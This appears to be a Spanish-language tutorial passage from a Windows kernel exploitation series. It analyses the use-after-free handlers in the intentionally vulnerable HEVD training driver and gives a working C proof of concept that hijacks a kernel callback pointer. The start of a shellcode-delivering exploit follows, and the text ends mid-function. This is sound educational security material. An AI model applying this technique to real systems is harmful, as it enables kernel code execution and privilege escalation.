Si has estado siguiendo la serie de Windows Kernel Exploitation consecutivamente, deberías haber exploited un Stack Overflow básico contra Windows 7 (x86) y Windows 10 (x64). Aunque este es un salto grande, hay muchas más vulnerabilidades que pueden resultar en la ejecución de código. La mejor manera de familiarizarse con ellos es estudiarlos en un sistema con mitigaciones mínimas. Por este motivo volveremos a Windows 7 (x86).

Además, no utilizaremos Ghidra, esta vez usaremos el código de HEVD. En el próximo artículo volveremos a Ghidra para obtiene una perspectiva sobre cómo lo identificarías utilizando el código o el decompiler.

Table of Contents

Qué es un Use After Free (Alto Nivel)

En caso que no estés familiarizado que es un “Use After Free (UaF)”, vamos a cubrirlo con una descripción general en que es esta clase de vulnerabilidad. Básicamente, un Use After Free (UaF) ocurre cuando nosotros usamos un objeto después de ser libre. Este objeto puede ser cualquier estructura o clase metido en memoria que luego se libera

Para usar un ejemplo sin ser demasiado técnico, digamos que estás trabajando debajo de un caro y pones tus herramientas a tu lado. Estás trabajando en tu espalda y no estás poniéndo atención a tu caja de herramientas, simplemente metes tu mano en la caja de herramientas y buscas lo que necesitas

alt text

En esta caja de herramientas solo tienes una llave (difícil de creer lo sé), agarras una llave, pero en lugar de volver a guardarla en la caja de herramientas la pones en el suelo cerca de tus pies. Aunque lo pusiste cerca a tus pies, tu crees que la llave la regresaste en su ubicación original.

Sin que te des cuenta, un hombre tira una lata de soda adentro de la caja de herramientas

alt text

Cuando vas y alcanzas la llave no notas la diferencia entre ella y la lata (porque tienes aletas eres un pingüino). Entonces, terminas cubierto en soda.

alt text

OH NO!! Hemos caido víctima a un UaF, el hombre logro aprovecha la vulnerabilidad.

Qué tiene que ver esto con las computadoras?

  • El ejemplo de meter la mano en la caja de herramientas sin mirar, es similar en cómo los programas usan la memoria sin “mirar” (verificando si es válido o a cambiado)
  • El reemplazo de la llave por la soda demuestra como los “stale reference (pointers)” resultar en operaciones peligrosas
  • El hombre tirando la soda representa un atacante aprovechando la memoria liberada (por ejemplo inyectando código malicioso dentro de la memoria reutilizada).

Con esto, estamos listos para comenzar :)

Usando el Código - Ubicarnos con el Diseño

Lo primero que queremos identificar es la ubicación de los códigos de control I/O. Por lo que se parece, cada vulnerabilidad tiene su propia función de “handler” (controlador).

./ArbitraryWrite.c:129:/// Arbitrary Write Ioctl Handler
./MemoryDisclosureNonPagedPool.c:178:/// Memory Disclosure NonPagedPool Ioctl Handler
./DoubleFetch.c:151:/// Double Fetch Ioctl Handler
./BufferOverflowNonPagedPool.c:165:/// Buffer Overflow NonPagedPool Ioctl Handler
./MemoryDisclosureNonPagedPoolNx.c:177:/// Memory Disclosure NonPagedPoolNx Ioctl Handler
./IntegerOverflow.c:154:/// Integer Overflow Ioctl Handler
./UninitializedMemoryPagedPool.c:216:/// Uninitialized Memory PagedPool Ioctl Handler
./WriteNULL.c:117:/// Write NULL Ioctl Handler
./InsecureKernelResourceAccess.c:148:/// Insecure Kernel File Access Ioctl Handler
./BufferOverflowPagedPoolSession.c:165:/// Buffer Overflow PagedPoolSession Ioctl Handler
./BufferOverflowNonPagedPoolNx.c:165:/// Buffer Overflow NonPagedPoolNx Ioctl Handler
./UseAfterFreeNonPagedPool.c:352:/// Allocate UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:376:/// Use UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:400:/// Free UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:424:/// Allocate Fake Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPoolNx.c:352:/// Allocate UaF Object NonPagedPoolNx Ioctl Handler
./UseAfterFreeNonPagedPoolNx.c:376:/// Use UaF Object NonPagedPoolNx Ioctl Handler
./UseAfterFreeNonPagedPoolNx.c:400:/// Free UaF Object NonPagedPoolNx Ioctl Handler
./UseAfterFreeNonPagedPoolNx.c:424:/// Allocate Fake Object NonPagedPoolNx Ioctl Handler
./BufferOverflowStack.c:121:/// Buffer Overflow Stack Ioctl Handler
./ArbitraryReadWriteHelperNonPagedPoolNx.c:553:/// Create Arbitrary Read Write Helper Object Ioctl Handler
./ArbitraryReadWriteHelperNonPagedPoolNx.c:582:/// Set Arbitrary Read Write Helper Object Name Ioctl Handler
./ArbitraryReadWriteHelperNonPagedPoolNx.c:611:/// Get Arbitrary Read Write Helper Object Name Ioctl Handler
./ArbitraryReadWriteHelperNonPagedPoolNx.c:640:/// Delete Arbitrary Read Write Helper Object Ioctl Handler
./UninitializedMemoryStack.c:160:/// Uninitialized Memory Stack Ioctl Handler
./NullPointerDereference.c:200:/// Null Pointer Dereference Ioctl Handler
./BufferOverflowStackGS.c:121:/// Buffer Overflow Stack GS Ioctl Handler
./TypeConfusion.c:213:/// Type Confusion Ioctl Handler

Estamos interesados ​​en los códigos de control para el UseAfterFreeNonPagedPool.

./UseAfterFreeNonPagedPool.c:352:/// Allocate UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:376:/// Use UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:400:/// Free UaF Object NonPagedPool Ioctl Handler
./UseAfterFreeNonPagedPool.c:424:/// Allocate Fake Object NonPagedPool Ioctl Handler

Según la convención de nomenclatura, podemos identificar las siguientes funciones:

AllocateUaFObjectNonPagedPoolIoctlHandler(
UseUaFObjectNonPagedPoolIoctlHandler(
FreeUaFObjectNonPagedPoolIoctlHandler(
AllocateFakeObjectNonPagedPoolIoctlHandler(

Si rastreamos desde dónde se llaman estas funciones, llegamos a ./HackSysExtremeVulnerableDriver.c que contiene un “switch statement” que nos permitiría activar estas funciones vulnerables.

294         case HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL:
295             DbgPrint("****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******\n");
296             Status = AllocateUaFObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
297             DbgPrint("****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******\n");
298             break;
299         case HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL:
300             DbgPrint("****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******\n");
301             Status = UseUaFObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
302             DbgPrint("****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******\n");
303             break;
304         case HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL:
305             DbgPrint("****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******\n");
306             Status = FreeUaFObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
307             DbgPrint("****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******\n");
308             break;
309         case HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL:
310             DbgPrint("****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******\n");
311             Status = AllocateFakeObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
312             DbgPrint("****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******\n");
313             break;

Sin embargo, esto todavía no nos dio los códigos de I/O, así que antes de intentar buscar dentro de cada página usando grep-fu, revisemos el “header file” HackSysExtremeVulnerableDriver.h.

Dentro de ella se nos da una lista de códigos IOCTL :)

 81 #define HEVD_IOCTL_BUFFER_OVERFLOW_STACK                         IOCTL(0x800)
 82 #define HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS                      IOCTL(0x801)
 83 #define HEVD_IOCTL_ARBITRARY_WRITE                               IOCTL(0x802)
 84 #define HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL                IOCTL(0x803)
 85 #define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL            IOCTL(0x804)
 86 #define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL                 IOCTL(0x805)
 87 #define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL                IOCTL(0x806)
 88 #define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL           IOCTL(0x807)
 89 #define HEVD_IOCTL_TYPE_CONFUSION                                IOCTL(0x808)
 90 #define HEVD_IOCTL_INTEGER_OVERFLOW                              IOCTL(0x809)
 91 #define HEVD_IOCTL_NULL_POINTER_DEREFERENCE                      IOCTL(0x80A)
 92 #define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK                    IOCTL(0x80B)
 93 #define HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL               IOCTL(0x80C)
 94 #define HEVD_IOCTL_DOUBLE_FETCH                                  IOCTL(0x80D)
 95 #define HEVD_IOCTL_INSECURE_KERNEL_FILE_ACCESS                   IOCTL(0x80E)
 96 #define HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL              IOCTL(0x80F)
 97 #define HEVD_IOCTL_BUFFER_OVERFLOW_PAGED_POOL_SESSION            IOCTL(0x810)
 98 #define HEVD_IOCTL_WRITE_NULL                                    IOCTL(0x811)
 99 #define HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL_NX             IOCTL(0x812)
100 #define HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX           IOCTL(0x813)
101 #define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX         IOCTL(0x814)
102 #define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL_NX              IOCTL(0x815)
103 #define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL_NX             IOCTL(0x816)
104 #define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL_NX        IOCTL(0x817)
105 #define HEVD_IOCTL_CREATE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX    IOCTL(0x818)
106 #define HEVD_IOCTL_SET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX  IOCTL(0x819)
107 #define HEVD_IOCTL_GET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX  IOCTL(0x81A)
108 #define HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX    IOCTL(0x81B)

Sin embargo, para este tutorial solo nos centraremos en lo siguiente:

 85 #define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL            IOCTL(0x804)
 86 #define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL                 IOCTL(0x805)
 87 #define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL                IOCTL(0x806)
 88 #define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL           IOCTL(0x807)

Entender el AllocateUaFObjectNonPagedPoolIoctlHandler

Podemos encontrar esta función dentro de UseAfterFreeNonPagedPool.c en línea 357.

357 NTSTATUS
358 AllocateUaFObjectNonPagedPoolIoctlHandler(
359     _In_ PIRP Irp,
360     _In_ PIO_STACK_LOCATION IrpSp
361 )
362 {
363     NTSTATUS Status = STATUS_UNSUCCESSFUL;
364 
365     UNREFERENCED_PARAMETER(Irp);
366     UNREFERENCED_PARAMETER(IrpSp);
367     PAGED_CODE();
368 
369     Status = AllocateUaFObjectNonPagedPool();
370 
371     return Status;
372 }

Esta función llamará AllocateUaFObjectNonPagedPool, que comienza en línea 86.

 86 NTSTATUS
 87 AllocateUaFObjectNonPagedPool(
 88     VOID
 89 )
 90 {
 91     NTSTATUS Status = STATUS_UNSUCCESSFUL;
 92     PUSE_AFTER_FREE_NON_PAGED_POOL UseAfterFree = NULL;
 93 
 94     PAGED_CODE();
 95 
 96     __try
 97     {
 98         DbgPrint("[+] Allocating UaF Object\n");
 99 
100         //
101         // Allocate Pool chunk
102         //
103 
104         UseAfterFree = (PUSE_AFTER_FREE_NON_PAGED_POOL)ExAllocatePoolWithTag(
105             NonPagedPool,
106             sizeof(USE_AFTER_FREE_NON_PAGED_POOL),
107             (ULONG)POOL_TAG
108         );
109 
110         if (!UseAfterFree)
111         {   
112             //
113             // Unable to allocate Pool chunk
114             //
115             
116             DbgPrint("[-] Unable to allocate Pool chunk\n");
117             
118             Status = STATUS_NO_MEMORY;
119             return Status;
120         }
121         else
122         {   
123             DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
124             DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
125             DbgPrint("[+] Pool Size: 0x%X\n", sizeof(USE_AFTER_FREE_NON_PAGED_POOL));
126             DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree);
127         }
128 
129         //
130         // Fill the buffer with ASCII 'A'
131         //
132 
133         RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);
134 
135         //
136         // Null terminate the char buffer
137         //
138 
139         UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0';
140 
141         //
142         // Set the object Callback function
143         //
144 
145         UseAfterFree->Callback = &UaFObjectCallbackNonPagedPool;
146 
147         //
148         // Assign the address of UseAfterFree to a global variable
149         //
150 
151         g_UseAfterFreeObjectNonPagedPool = UseAfterFree;
152 
153         DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree);
154         DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
155         DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback);
156     }
157     __except (EXCEPTION_EXECUTE_HANDLER)
158     {
159         Status = GetExceptionCode();
160         DbgPrint("[-] Exception Code: 0x%X\n", Status);
161     }
162 
163     return Status;
164 }

Analicemos esta función en un nivel alto.

  • Líneas 91-92 vemos que se declaran variables, una de ellas es una estructura personalizada que contiene dos miembros: un puntero a una función y un char buffer[0x54].
  • En línea 94 vemos el PAGED_CODE macro definido. Este macro marca esta función “pageable”. Lo que esto significa es que, si la función no está presente en la memoria, se puede mover al disco. El OS ará esto si necesita memoria física para otras cosas.
  • Líneas 104-108 vemos una llamada a ExAllocatePoolWithTag() esto es una llamada del Windows API. Básicamente, lo que esto hace es crear “memoria de piscina” o “pool memory” de un tipo específico y devolverá un puntero a la sección de memoria creada, que como podemos ver luego se “cast”.
    • Argumento 1: Aquí usamos una piscina “Nonpaged”, al que puede acceder cualquier IRQL, notablemente la memoria asignada con este tipo es ejecutable o EXECUTABLE.
    • Argumento 2: Tamaño
    • Argumento 3: Una marca de la piscina, que a mi entender es para debug. Lo podemos encontrar en “common.h” como Hack o “kcaH” como tiene que estar en orden inverso.
  • Líneas 110-127 nosotros podemos ignorar ya que es solo comprobando la última llamada si fue malo / bueno
  • En línea 133 básicamente vemos una llamada a RtlFillMemory() otro Windows API (memset en nix).
  • En línea 139 terminamos el buffer que llenamos con A’s con un NULL
  • En línea 145 establecemos el puntero a la función para apuntar a la función UaFObjectCallbackNonPagedPool.
  • En línea 151 asignamos la dirección del objeto creado a la variable global.

No está tan mal! Solo estamos creando una región de memoria (marcado ejecutable) para sostener la estructura PUSE_AFTER_FREE_NON_PAGED_POOL, llenar el Buffer miembro (char array), y establece el miembro de Callback (puntero a una función). La definición de la estructura se puede ver a aquí:

 62 typedef struct _USE_AFTER_FREE_NON_PAGED_POOL
 63 {   
 64     FunctionPointer Callback;
 65     CHAR Buffer[0x54];
 66 } USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL;

Entender el UseUaFObjectNonPagedPoolIoctlHandler

Una vez más, este es un “wrapper” para llamar a otra función:

375 /// <summary>                                                             
376 /// Use UaF Object NonPagedPool Ioctl Handler                             
377 /// </summary>                                                            
378 /// <param name="Irp">The pointer to IRP</param>                          
379 /// <param name="IrpSp">The pointer to IO_STACK_LOCATION structure</param>
380 /// <returns>NTSTATUS</returns>                                           
381 NTSTATUS                                                                  
382 UseUaFObjectNonPagedPoolIoctlHandler(                                     
383     _In_ PIRP Irp,                                                        
384     _In_ PIO_STACK_LOCATION IrpSp                                         
385 )                                                                         
386 {                                                                         
387     NTSTATUS Status = STATUS_UNSUCCESSFUL;                                
388                                                                           
389     UNREFERENCED_PARAMETER(Irp);                                          
390     UNREFERENCED_PARAMETER(IrpSp);                                        
391     PAGED_CODE();                                                         
392                                                                           
393     Status = UseUaFObjectNonPagedPool();                                  
394                                                                           
395     return Status;                                                        
396 } 

Miremos UseUaFObjectNonPagedPool().

171 NTSTATUS
172 UseUaFObjectNonPagedPool(
173     VOID
174 )
175 {
176     NTSTATUS Status = STATUS_UNSUCCESSFUL;
177 
178     PAGED_CODE();
179 
180     __try
181     {
182         if (g_UseAfterFreeObjectNonPagedPool)
183         {
184             DbgPrint("[+] Using UaF Object\n");
185             DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
186             DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool->Callback: 0x%p\n", g_UseAfterFreeObjectNonPagedPool->Callback);
187             DbgPrint("[+] Calling Callback\n");
188 
189             if (g_UseAfterFreeObjectNonPagedPool->Callback)
190             {
191                 g_UseAfterFreeObjectNonPagedPool->Callback();
192             }
193 
194             Status = STATUS_SUCCESS;
195         }
196     }
197     __except (EXCEPTION_EXECUTE_HANDLER)
198     {
199         Status = GetExceptionCode();
200         DbgPrint("[-] Exception Code: 0x%X\n", Status);
201     }
202 
203     return Status;
204 }

No está tan mal, simplemente llamamos la función Callback, que vimos anteriormente estaba ambientado en el AllocateUaFObjectNonPagedPoolIoctlHandler() a UaFObjectCallbackNonPagedPool.

Entender el FreeUaFObjectNonPagedPoolIoctlHandler

Una vez más vemos que este controlador no acepta argumentos:

405 NTSTATUS
406 FreeUaFObjectNonPagedPoolIoctlHandler(
407     _In_ PIRP Irp,
408     _In_ PIO_STACK_LOCATION IrpSp
409 )   
410 {   
411     NTSTATUS Status = STATUS_UNSUCCESSFUL;
412 
413     UNREFERENCED_PARAMETER(Irp);
414     UNREFERENCED_PARAMETER(IrpSp);
415     PAGED_CODE();
416 
417     Status = FreeUaFObjectNonPagedPool();
418 
419     return Status;
420 }

Miremos FreeUaFObjectNonPagedPool:

211 NTSTATUS
212 FreeUaFObjectNonPagedPool(
213     VOID
214 )   
215 {   
216     NTSTATUS Status = STATUS_UNSUCCESSFUL;
217     
218     PAGED_CODE();
219     
220     __try
221     {
222         if (g_UseAfterFreeObjectNonPagedPool)
223         {
224             DbgPrint("[+] Freeing UaF Object\n");
225             DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
226             DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
227 
228 #ifdef SECURE
229             //
230             // Secure Note: This is secure because the developer is setting
231             // 'g_UseAfterFreeObjectNonPagedPool' to NULL once the Pool chunk is being freed
232             //
233 
234             ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
235      
236             //
237             // Set to NULL to avoid dangling pointer
238             //
239      
240             g_UseAfterFreeObjectNonPagedPool = NULL;
241 #else
242             //
243             // Vulnerability Note: This is a vanilla Use After Free vulnerability
244             // because the developer is not setting 'g_UseAfterFreeObjectNonPagedPool' to NULL.
245             // Hence, g_UseAfterFreeObjectNonPagedPool still holds the reference to stale pointer
246             // (dangling pointer)
247             //
248             
249             ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
250 #endif      
251             
252             Status = STATUS_SUCCESS;
253         }
254     }
255     __except (EXCEPTION_EXECUTE_HANDLER)
256     {   
257         Status = GetExceptionCode();
258         DbgPrint("[-] Exception Code: 0x%X\n", Status);
259     }
260     
261     return Status;
262 }

Aquí vemos una llamada a una nueva Windows API la función ExFreePoolWithTag. Esta función simplemente desasigna un bloque de memoria del grupo que se creó con un nombre específico (Hack), sin embargo podemos ver que la variable global g_UseAfterFreeObjectNonPagedPool nunca se hace NULL. Esto significa g_UseAfterFreeObjectNonPagedPool contendrá un puntero al objeto liberado incluso después de haber sido liberado - un dangling pointer.

Entender el AllocateFakeObjectNonPagedPoolIoctlHandler

Al observar este controlador, vemos que requiere algunos argumentos del usuario en línea 441.

429 NTSTATUS
430 AllocateFakeObjectNonPagedPoolIoctlHandler(
431     _In_ PIRP Irp,
432     _In_ PIO_STACK_LOCATION IrpSp
433 )           
434 {           
435     NTSTATUS Status = STATUS_UNSUCCESSFUL;
436     PFAKE_OBJECT_NON_PAGED_POOL UserFakeObject = NULL;
437             
438     UNREFERENCED_PARAMETER(Irp);
439     PAGED_CODE();
440 
441     UserFakeObject = (PFAKE_OBJECT_NON_PAGED_POOL)IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
442     
443     if (UserFakeObject)
444     {   
445         Status = AllocateFakeObjectNonPagedPool(UserFakeObject);
446     }
447     
448     return Status;
449 }

De aquí, llamamos AllocateFakeObjectNonPagedPool.

270 NTSTATUS
271 AllocateFakeObjectNonPagedPool(
272     _In_ PFAKE_OBJECT_NON_PAGED_POOL UserFakeObject
273 )
274 {
275     NTSTATUS Status = STATUS_SUCCESS;
276     PFAKE_OBJECT_NON_PAGED_POOL KernelFakeObject = NULL;
277 
278     PAGED_CODE();
279 
280     __try
281     {
282         DbgPrint("[+] Creating Fake Object\n");
283 
284         //
285         // Allocate Pool chunk
286         //
287 
288         KernelFakeObject = (PFAKE_OBJECT_NON_PAGED_POOL)ExAllocatePoolWithTag(
289             NonPagedPool,
290             sizeof(FAKE_OBJECT_NON_PAGED_POOL),
291             (ULONG)POOL_TAG
292         );
293 
294         if (!KernelFakeObject)
295         {   
296             //
297             // Unable to allocate Pool chunk
298             //
299             
300             DbgPrint("[-] Unable to allocate Pool chunk\n");
301             
302             Status = STATUS_NO_MEMORY;
303             return Status;
304         }
305         else
306         {   
307             DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
308             DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
309             DbgPrint("[+] Pool Size: 0x%X\n", sizeof(FAKE_OBJECT_NON_PAGED_POOL));
310             DbgPrint("[+] Pool Chunk: 0x%p\n", KernelFakeObject);
311         }
312         
313         //
314         // Verify if the buffer resides in user mode
315         //
316         
317         ProbeForRead(
318             (PVOID)UserFakeObject,
319             sizeof(FAKE_OBJECT_NON_PAGED_POOL),
320             (ULONG)__alignof(UCHAR)
321         );
322 
323         //
324         // Copy the Fake structure to Pool chunk
325         //
326 
327         RtlCopyMemory(
328             (PVOID)KernelFakeObject,
329             (PVOID)UserFakeObject,
330             sizeof(FAKE_OBJECT_NON_PAGED_POOL)
331         );
332 
333         //
334         // Null terminate the char buffer
335         //
336 
337         KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';
338 
339         DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject);
340     }
341     __except (EXCEPTION_EXECUTE_HANDLER)
342     {
343         Status = GetExceptionCode();
344         DbgPrint("[-] Exception Code: 0x%X\n", Status);
345     }
346 
347     return Status;
348 }

Analicemos esto:

  • Líneas 288-311 creamos un pedazo de memoria como antes, pero esta vez es un “objeto falso”. Solo mirando la estructura, es del mismo tamaño que el objeto PUSE_AFTER_FREE_NON_PAGED_POOL
  • Líneas 317-321 vemos un nuevo Windows API ProbeForRead que comprueba que el modo de usuario esté correctamente alineado.
  • Líneas 327-331 nosotros RtlCopyMemory / movemos el búfer de modo de usuario a la sección falsa de memoria que se creó
  • Líneas 333-347 nosotros finalizamos el buffer con NULL y regresamos.

Como referencia, este es el objeto falso:

 68 typedef struct _FAKE_OBJECT_NON_PAGED_POOL
 69 {
 70     CHAR Buffer[0x58];
 71 } FAKE_OBJECT_NON_PAGED_POOL, *PFAKE_OBJECT_NON_PAGED_POOL;

Si estás familiarizado con la exploitation de el modo de usuario, probablemente tus ojos se estan iluminando.

Descripciones de Funciones

En corto esto es lo que hacen las funciones:

Function Summary
AllocateUaFObjectNonPagedPoolIoctlHandler Solo estamos creando una región de memoria (ejecutable) para sostener la estructura PUSE_AFTER_FREE_NON_PAGED_POOL, llenando el miembro Buffer (char array), y estableciendo el miembro Callback
UseUaFObjectNonPagedPoolIoctlHandler Llama al puntero a la función Callback de el variable global g_UseAfterFreeObjectNonPagedPool
FreeUaFObjectNonPagedPoolIoctlHandler Free’s the g_UseAfterFreeObjectNonPagedPool object, and DOES NOT NULL out the variable (dangling pointer)
AllocateFakeObjectNonPagedPoolIoctlHandler Crea una región de memoria para contener un objeto del mismo tamaño que la región de memoria original creada, pero con argumentos controlados por el usuario

Viendo esto tenemos un clásico UAF. Nunca he hecho un Windows UAF pero supongo que el objeto falso ocupará el espacio creado anteriormente. Para hacer esto en teoría sólo necesitamos:

  1. Crear un objeto USE_AFTER_FREE_NON_PAGED_POOL
  2. Libera el objeto
  3. Crear un objeto FAKE_OBJECT_NON_PAGED_POOL (recuperando la memoria que fue liberada)
  4. Llamar g_UseAfterFreeObjectNonPagedPool.Callback que debería apuntar a la estructura corrupta

Explotación

Desde aquí escribiendo un PoC parecía fácil, y dado que tuvimos acceso al código:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#include <windows.h>
#include <psapi.h>

#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)

#define HEVD_ALLOCATE_ROBJ IOCTL(0x804)
#define HEVD_CALL_FPTR     IOCTL(0x805)
#define HEVD_FREE          IOCTL(0x806)
#define HEVD_ALLOCATE_FOBJ IOCTL(0x807)

typedef struct _FAKE_OBJECT_NON_PAGED_POOL
{
  CHAR Buffer[0x58];
} FAKE_OBJECT_NON_PAGED_POOL, *PFAKE_OBJECT_NON_PAGED_POOL;

void sendIoctl(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer)
{
  DWORD bytesReturned = 0;

  printf("[*] Calling IOCTL Code 0x%x\n", dIoctl);
  DeviceIoControl(hHEVD,
                  dIoctl,
                  pBuffer,
                  dBuffer,
                  NULL,
                  0x00,
                  &bytesReturned,
                  NULL);

  return;
}

char *allocate_buffer()
{
  char *buffer = malloc(sizeof(FAKE_OBJECT_NON_PAGED_POOL));
  if (buffer != NULL)
  {
    printf("[*] Allocated %d bytes (userland)\n", sizeof(FAKE_OBJECT_NON_PAGED_POOL));
    memset(buffer, 0x41, sizeof(FAKE_OBJECT_NON_PAGED_POOL));
  }

  return buffer;
}

int main()
{
  HANDLE hHEVD = NULL;
  char *evilBuffer = NULL;

  hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

  if (hHEVD == INVALID_HANDLE_VALUE)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
    return -1;
  }

  evilBuffer = allocate_buffer();
  if (evilBuffer == NULL)
  {
    printf("[*] Failed to allocate evil buffer (userland)\n");
    return -1;
  }

  printf("[*] Allocating PUSE_AFTER_FREE_NON_PAGED_POOL object\n");
  sendIoctl(hHEVD, HEVD_ALLOCATE_ROBJ, NULL, 0);

  printf("[*] Freeing object\n");
  sendIoctl(hHEVD, HEVD_FREE, NULL, 0);

  printf("[*] Allocating FAKE_OBJECT_NON_PAGED_POOL\n");
  sendIoctl(hHEVD, HEVD_ALLOCATE_FOBJ, evilBuffer, sizeof(FAKE_OBJECT_NON_PAGED_POOL));

  printf("[*] Triggering UAF\n");
  sendIoctl(hHEVD, HEVD_CALL_FPTR, NULL, 0);
}

Una vez enviado, podemos ver que hemos ganado control sobre el flujo de ejecución.

alt text

Vemos 41414141 entonces podemos asumir que los primeros 4 bytes son el puntero a la función, podemos confirmar esto basándonos en el código dentro (UseAfterFreeNonPagedPool.h):

 62 typedef struct _USE_AFTER_FREE_NON_PAGED_POOL
 63 {
 64     FunctionPointer Callback;
 65     CHAR Buffer[0x54];
 66 } USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL;

Escribamos nuestro exploit!

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#include <windows.h>
#include <psapi.h>

#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)

#define HEVD_ALLOCATE_ROBJ IOCTL(0x804)
#define HEVD_CALL_FPTR     IOCTL(0x805)
#define HEVD_FREE          IOCTL(0x806)
#define HEVD_ALLOCATE_FOBJ IOCTL(0x807)

typedef struct _FAKE_OBJECT_NON_PAGED_POOL
{
  CHAR Buffer[0x58];
} FAKE_OBJECT_NON_PAGED_POOL, *PFAKE_OBJECT_NON_PAGED_POOL;

/* sendIoctl:
     Send the IOCTL code to the driver */
void sendIoctl(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer)
{
  DWORD bytesReturned = 0;

  printf("[*] Calling IOCTL Code 0x%x\n", dIoctl);
  DeviceIoControl(hHEVD,
                  dIoctl,
                  pBuffer,
                  dBuffer,
                  NULL,
                  0x00,
                  &bytesReturned,
                  NULL);

  return;
}

/* allocate_buffer:
     Creates a userland allocation with the first 4 bytes pointing to the address where our shellcode
     was allocated. */
char *allocate_buffer(void *shellcode_addr)
{
  char *buffer = malloc(sizeof(FAKE_OBJECT_NON_PAGED_POOL));
  if (buffer != NULL)
  {
    printf("[*] Shellcode located at: %p\n", &shellcode_addr);
    memcpy(buffer, &shellcode_addr, 4);
    memset(buffer+4, 'A', 83);
  }

  return buffer;
}

